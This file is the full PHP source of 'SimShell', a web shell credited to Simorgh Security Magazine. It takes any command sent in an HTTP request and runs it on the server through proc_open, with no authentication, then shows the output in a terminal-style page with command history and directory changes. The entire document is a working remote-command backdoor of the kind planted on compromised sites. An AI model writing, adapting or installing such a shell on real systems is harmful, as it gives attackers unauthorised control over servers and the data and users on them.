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SimShell.php
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SimShell.php
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<?php
/*Simorgh Security Magazine */
session_start();
if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset'])) {
$_SESSION['cwd'] = getcwd();
$_SESSION['history'] = array();
$_SESSION['output'] = '';
}
if (!empty($_REQUEST['command'])) {
if (get_magic_quotes_gpc()) {
$_REQUEST['command'] = stripslashes($_REQUEST['command']);
}
if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false)
unset($_SESSION['history'][$i]);
array_unshift($_SESSION['history'], $_REQUEST['command']);
$_SESSION['output'] .= '$ ' . $_REQUEST['command'] . "\n";
if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) {
$_SESSION['cwd'] = dirname(__FILE__);
} elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs)) {
if ($regs[1][0] == '/') {
$new_dir = $regs[1];
} else {
$new_dir = $_SESSION['cwd'] . '/' . $regs[1];
}
while (strpos($new_dir, '/./') !== false)
$new_dir = str_replace('/./', '/', $new_dir);
while (strpos($new_dir, '//') !== false)
$new_dir = str_replace('//', '/', $new_dir);
while (preg_match('|/\.\.(?!\.)|', $new_dir))
$new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
if ($new_dir == '') $new_dir = '/';
if (@chdir($new_dir)) {
$_SESSION['cwd'] = $new_dir;
} else {
$_SESSION['output'] .= "cd: could not change to: $new_dir\n";
}
} else {
chdir($_SESSION['cwd']);
$length = strcspn($_REQUEST['command'], " \t");
$token = substr($_REQUEST['command'], 0, $length);
if (isset($aliases[$token]))
$_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length);
$p = proc_open($_REQUEST['command'],
array(1 => array('pipe', 'w'),
2 => array('pipe', 'w')),
$io);
while (!feof($io[1])) {
$_SESSION['output'] .= htmlspecialchars(fgets($io[1]),
ENT_COMPAT, 'UTF-8');
}
while (!feof($io[2])) {
$_SESSION['output'] .= htmlspecialchars(fgets($io[2]),
ENT_COMPAT, 'UTF-8');
}
fclose($io[1]);
fclose($io[2]);
proc_close($p);
}
}
if (empty($_SESSION['history'])) {
$js_command_hist = '""';
} else {
$escaped = array_map('addslashes', $_SESSION['history']);
$js_command_hist = '"", "' . implode('", "', $escaped) . '"';
}
header('Content-Type: text/html; charset=UTF-8');
echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n";
?>
<head>
<title>SimShell - Simorgh Security MGZ</title>
<link rel="stylesheet" href="Simshell.css" type="text/css" />
<script type="text/javascript" language="JavaScript">
var current_line = 0;
var command_hist = new Array(<?php echo $js_command_hist ?>);
var last = 0;
function key(e) {
if (!e) var e = window.event;
if (e.keyCode == 38 && current_line < command_hist.length-1) {
command_hist[current_line] = document.shell.command.value;
current_line++;
document.shell.command.value = command_hist[current_line];
}
if (e.keyCode == 40 && current_line > 0) {
command_hist[current_line] = document.shell.command.value;
current_line--;
document.shell.command.value = command_hist[current_line];
}
}
function init() {
document.shell.setAttribute("autocomplete", "off");
document.shell.output.scrollTop = document.shell.output.scrollHeight;
document.shell.command.focus();
}
</script>
</head>
<body onload="init()" style="color: #00FF00; background-color: #000000">
<span style="background-color: #000000">
</body>
</body>
</html>
</span>
<p><span style="background-color: #000000"> Directory: </span> <code>
<span style="background-color: #000000"><?php echo $_SESSION['cwd'] ?></span></code></p>
<form name="shell" action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post">
<div style="width: 900; height: 454">
<textarea name="output" readonly="readonly" cols="120" rows="20" style="color: #CCFF33; border: 1px dashed #FF0000; background-color: #000000">
<?php
$lines = substr_count($_SESSION['output'], "\n");
$padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines));
echo rtrim($padding . $_SESSION['output']);
?>
</textarea>
<p class="prompt" align="justify">
cmd:<input class="prompt" name="command" type="text"
onkeyup="key(event)" size="60" tabindex="1" style="border: 1px dotted #808080">
<input type="submit" value="Enter" /><input type="submit" name="reset" value="Reset" /> Rows:
<input type="text" name="rows" value="<?php echo $_REQUEST['rows'] ?>" size="5" />
</p>
<p class="prompt" align="center">
<br>
<br>
<font color="#C0C0C0" size="2">Copyright 2004-Simorgh Security<br>
Make On PhpShell Kernel<br>
<a href="http://www.simorgh-ev.com" style="text-decoration: none">
<font color="#C0C0C0">www.simorgh-ev.com</font></a></font></p>
</div>
</form>
</html>